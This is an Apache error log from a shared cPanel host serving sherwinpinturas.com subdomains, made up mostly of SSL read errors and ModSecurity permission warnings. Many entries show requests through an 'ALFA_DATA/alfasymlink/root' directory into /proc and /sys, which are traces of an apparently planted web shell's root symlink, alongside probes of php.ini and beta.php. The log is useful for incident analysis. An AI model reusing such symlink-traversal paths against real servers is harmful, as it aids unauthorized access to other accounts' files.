[Tue Oct 27 10:23:30.324708 2026] [ssl:error] [pid 3246019:tid 3246019] (70014)End of file found: [client 34.231.45.47:59342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:23:34.489343 2026] [core:error] [pid 3245443:tid 3245443] (13)Permission denied: [client 85.208.96.202:11162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/free_calls
[Tue Oct 27 10:23:58.185425 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 52.6.97.88:40726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:10.158630 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 107.20.25.33:30102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:14.186441 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 100.29.107.38:48152] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:26.148826 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 54.157.84.74:12130] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:34.161917 2026] [ssl:error] [pid 3240704:tid 3240704] (70014)End of file found: [client 34.225.87.80:21520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:42.137323 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.2.191.202:8980] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:24:58.265939 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.204.174.139:50398] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:06.144733 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 35.171.117.160:47684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:14.144307 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 54.197.102.71:25885] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:22.179135 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 34.205.163.103:60926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:30.400714 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 100.29.63.24:48208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:38.149487 2026] [core:error] [pid 3245441:tid 3245441] (13)Permission denied: [client 54.84.93.8:20940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/slots/8/module/uevent
[Tue Oct 27 10:25:46.210985 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 34.225.87.80:11858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:25:59.056738 2026] [core:error] [pid 3245443:tid 3245443] (13)Permission denied: [client 185.191.171.18:56904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/936/net/rpc/auth.unix.ip/channel
[Tue Oct 27 10:25:59.058692 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:59943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC0ayuRyqQjBmRbW2sNkQAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:25:59.058724 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:59943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC0ayuRyqQjBmRbW2sNkQAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:26:10.150857 2026] [ssl:error] [pid 3238311:tid 3238311] (5)Input/output error: [client 54.197.178.107:60888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:18.158432 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 54.162.69.192:60872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:30.236710 2026] [ssl:error] [pid 3244151:tid 3244151] (5)Input/output error: [client 35.169.119.108:24868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:34.169200 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.45.194.165:16774] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:41.527714 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 85.208.96.195:38468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:46.204740 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 98.83.177.42:47348] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:54.240052 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 52.71.216.196:5316] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:26:54.814727 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:59943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC0oiuRyqQjBmRbW2sNlQAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:26:54.814772 2026] [security2:error] [pid 3246019:tid 3246019] [client 107.172.76.131:59943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC0oiuRyqQjBmRbW2sNlQAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:26:58.410481 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 54.152.163.42:27154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:27:02.787041 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 18.210.58.238:41596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:1e/eject
[Tue Oct 27 10:27:34.582807 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.235.125.129:17912] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:27:46.441409 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.195.248.30:47099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:27:50.359566 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 34.204.150.196:52077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:27:52.427669 2026] [authz_core:error] [pid 3240704:tid 3240704] [client 195.178.110.53:22134] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 10:27:54.323901 2026] [security2:error] [pid 3238311:tid 3238311] [client 195.178.110.53:34744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/register/livewire/update"] [unique_id "auC06sYLThtfGXx9Tuqy9QAAAAc"]
[Tue Oct 27 10:27:54.323965 2026] [security2:error] [pid 3238311:tid 3238311] [client 195.178.110.53:34744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col1.sherwinpinturas.com"] [uri "/register/livewire/update"] [unique_id "auC06sYLThtfGXx9Tuqy9QAAAAc"]
[Tue Oct 27 10:27:54.368715 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 54.83.23.103:53640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:27:54.775150 2026] [authz_core:error] [pid 3245443:tid 3245443] [client 195.178.110.53:34750] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 10:27:57.924346 2026] [security2:error] [pid 3245443:tid 3245443] [client 195.178.110.53:34750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/account"] [unique_id "auC07XaCACHgq04auOgt6gAAABg"]
[Tue Oct 27 10:27:57.924394 2026] [security2:error] [pid 3245443:tid 3245443] [client 195.178.110.53:34750] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "col2.sherwinpinturas.com"] [uri "/account"] [unique_id "auC07XaCACHgq04auOgt6gAAABg"]
[Tue Oct 27 10:28:02.352986 2026] [authz_core:error] [pid 3245443:tid 3245443] [client 195.178.110.53:34750] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 10:28:03.495899 2026] [authz_core:error] [pid 3245443:tid 3245443] [client 195.178.110.53:34750] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 10:28:06.578023 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 52.6.232.201:40665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:10.582770 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 44.193.102.198:40701] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:18.621791 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 34.231.45.47:40966] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:22.737147 2026] [core:error] [pid 3248370:tid 3248370] (13)Permission denied: [client 52.205.141.124:11348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory11/node0/cpu1/driver/uevent
[Tue Oct 27 10:28:26.451380 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 98.82.107.102:6017] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:30.468552 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.197.28.78:6965] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:34.434269 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 3.220.70.171:47447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:38.467169 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 52.22.64.232:28958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:46.648928 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 18.208.11.93:63042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:46.649234 2026] [security2:error] [pid 3248370:tid 3248370] [client 18.208.11.93:63042] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:13/subsystem/devices/PNP0303:00/status"] [unique_id "auC1HlJnDX0Ls8UTr5l1WgAAAA4"]
[Tue Oct 27 10:28:46.649275 2026] [security2:error] [pid 3248370:tid 3248370] [client 18.208.11.93:63042] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:13/subsystem/devices/PNP0303:00/status"] [unique_id "auC1HlJnDX0Ls8UTr5l1WgAAAA4"]
[Tue Oct 27 10:28:50.942388 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 23.20.178.124:43783] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:28:50.942582 2026] [security2:error] [pid 3240911:tid 3240911] [client 23.20.178.124:43783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/pcspkr/power/runtime_status"] [unique_id "auC1IgY08XOpcUzVxFxT8QAAABM"]
[Tue Oct 27 10:28:50.942624 2026] [security2:error] [pid 3240911:tid 3240911] [client 23.20.178.124:43783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/pcspkr/power/runtime_status"] [unique_id "auC1IgY08XOpcUzVxFxT8QAAABM"]
[Tue Oct 27 10:28:54.609629 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.196.237.236:52886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:02.535462 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 100.27.153.9:61023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:06.660149 2026] [ssl:error] [pid 3246081:tid 3246081] (70014)End of file found: [client 44.210.204.255:31519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:08.548727 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:59929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC1KBXBYmBHrjfyUDsM5gAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:29:08.548775 2026] [security2:error] [pid 3245698:tid 3245698] [client 107.172.76.131:59929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC1KBXBYmBHrjfyUDsM5gAAAAU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 10:29:18.723687 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 3.211.105.134:57312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:21.840150 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 185.191.171.13:17644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/filp/remote_node_defrag_ratio
[Tue Oct 27 10:29:22.712367 2026] [core:error] [pid 3246081:tid 3246081] (13)Permission denied: [client 3.208.156.9:48529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/remove
[Tue Oct 27 10:29:26.756975 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 3.94.40.182:40657] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:30.662104 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.3.104.214:30116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:34.744456 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 3.232.102.111:41897] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:38.697045 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 23.23.213.182:41360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/remove
[Tue Oct 27 10:29:42.794394 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 3.208.146.193:58487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:46.731368 2026] [ssl:error] [pid 3249203:tid 3249203] (70014)End of file found: [client 54.85.126.86:32477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:29:54.829533 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 34.204.150.196:38503] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource1
[Tue Oct 27 10:30:03.034883 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 34.192.67.98:45711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:10.788617 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 34.199.252.22:50806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:15.064612 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 107.20.181.148:29998] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:18.955701 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 3.224.104.67:2379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:19.609025 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 85.208.96.193:49676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:03.0/subsystem/drivers_probe
[Tue Oct 27 10:30:22.860556 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.54.95.127:16729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:26.824320 2026] [ssl:error] [pid 3248370:tid 3248370] (70014)End of file found: [client 34.202.88.37:20942] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:30.807453 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 98.82.107.102:1066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:34.773275 2026] [core:error] [pid 3245443:tid 3245443] (13)Permission denied: [client 3.235.215.92:31055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/driver/bind
[Tue Oct 27 10:30:50.922422 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.203.152.231:14915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:54.837683 2026] [ssl:error] [pid 3245442:tid 3245442] (70014)End of file found: [client 23.23.103.31:63826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:30:58.873505 2026] [core:error] [pid 3245442:tid 3245442] (13)Permission denied: [client 23.23.214.190:32155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/closing_wait
[Tue Oct 27 10:31:02.036590 2026] [security2:error] [pid 3249971:tid 3249971] [client 185.191.171.15:28298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/man/id/man5/"] [unique_id "auC1pfm8_YANS3PMbeYXNQAAAAI"]
[Tue Oct 27 10:31:02.036658 2026] [security2:error] [pid 3249971:tid 3249971] [client 185.191.171.15:28298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/man/id/man5/"] [unique_id "auC1pfm8_YANS3PMbeYXNQAAAAI"]
[Tue Oct 27 10:31:07.104946 2026] [core:error] [pid 3245442:tid 3245442] (13)Permission denied: [client 34.202.88.37:6190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/unbind
[Tue Oct 27 10:31:11.043092 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 34.234.200.207:56493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:31:15.059817 2026] [core:error] [pid 3249971:tid 3249971] (13)Permission denied: [client 18.207.79.144:41366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/driver/new_id
[Tue Oct 27 10:31:16.711760 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 185.191.171.15:51440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/alloc_calls
[Tue Oct 27 10:31:23.080362 2026] [ssl:error] [pid 3245698:tid 3245698] (70014)End of file found: [client 18.209.137.234:56185] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:31:31.402261 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 18.209.201.119:22096] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:31:43.110809 2026] [ssl:error] [pid 3249971:tid 3249971] (70014)End of file found: [client 23.23.104.107:29827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:31:55.276241 2026] [core:error] [pid 3249989:tid 3249989] (13)Permission denied: [client 34.225.243.131:54622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/button/bind
[Tue Oct 27 10:32:07.408465 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 23.23.212.212:18125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:12.220641 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.203.68.145:6991] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:15.369495 2026] [core:error] [pid 3240341:tid 3240341] (13)Permission denied: [client 98.84.70.201:36773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/module/uevent
[Tue Oct 27 10:32:19.676745 2026] [ssl:error] [pid 3245635:tid 3245635] (70014)End of file found: [client 18.214.238.178:48208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:23.457557 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 98.83.226.125:39690] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:27.732457 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:59999] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC17xKut9jdf6Y85ZJc4gAAABE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:32:27.732514 2026] [security2:error] [pid 3238477:tid 3238477] [client 107.172.76.131:59999] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC17xKut9jdf6Y85ZJc4gAAABE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 10:32:39.635874 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 44.209.187.99:11873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:51.585938 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 3.210.29.96:45585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:32:55.614631 2026] [core:error] [pid 3245635:tid 3245635] (13)Permission denied: [client 50.16.248.61:31776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers/rtc_cmos/bind
[Tue Oct 27 10:33:03.648164 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 34.225.87.80:34157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:11.548370 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.221.227.90:18109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:15.737418 2026] [ssl:error] [pid 3250097:tid 3250097] (70014)End of file found: [client 52.54.249.218:22974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:19.661175 2026] [ssl:error] [pid 3249971:tid 3249971] (70014)End of file found: [client 54.85.7.119:23327] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:23.701590 2026] [core:error] [pid 3245437:tid 3245437] (13)Permission denied: [client 52.45.194.165:57280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:01/physical_node/remove
[Tue Oct 27 10:33:27.544287 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 52.205.113.104:57899] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:39.723562 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 98.83.10.183:60128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:41.918220 2026] [core:error] [pid 3245437:tid 3245437] (13)Permission denied: [client 85.208.96.194:31326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/order
[Tue Oct 27 10:33:43.680330 2026] [ssl:error] [pid 3249989:tid 3249989] (70014)End of file found: [client 107.22.208.39:27763] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:45.623372 2026] [security2:error] [pid 3245434:tid 3245434] [client 107.172.76.131:60001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC2PciXZVpqSy65X46aUgAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 10:33:45.623422 2026] [security2:error] [pid 3245434:tid 3245434] [client 107.172.76.131:60001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auC2PciXZVpqSy65X46aUgAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 10:33:46.798131 2026] [security2:error] [pid 3249971:tid 3249971] [client 43.159.36.180:58964] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auC2Svm8_YANS3PMbeYXPAAAAAI"]
[Tue Oct 27 10:33:46.799175 2026] [authz_core:error] [pid 3249971:tid 3249971] [client 43.159.36.180:58964] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 10:33:47.947693 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.3.156.186:52430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:56.168899 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.45.92.83:37290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:33:59.939905 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.195.50.71:47426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:34:03.841829 2026] [core:error] [pid 3245437:tid 3245437] (13)Permission denied: [client 18.215.49.176:50757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0C0F:02/subsystem/uevent
[Tue Oct 27 10:34:07.499244 2026] [core:error] [pid 3249989:tid 3249989] (13)Permission denied: [client 85.208.96.208:50600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/ctor
[Tue Oct 27 10:34:07.695552 2026] [ssl:error] [pid 3250159:tid 3250159] (70014)End of file found: [client 44.221.180.179:49145] AH02013: coalesce failed to read from data bucket
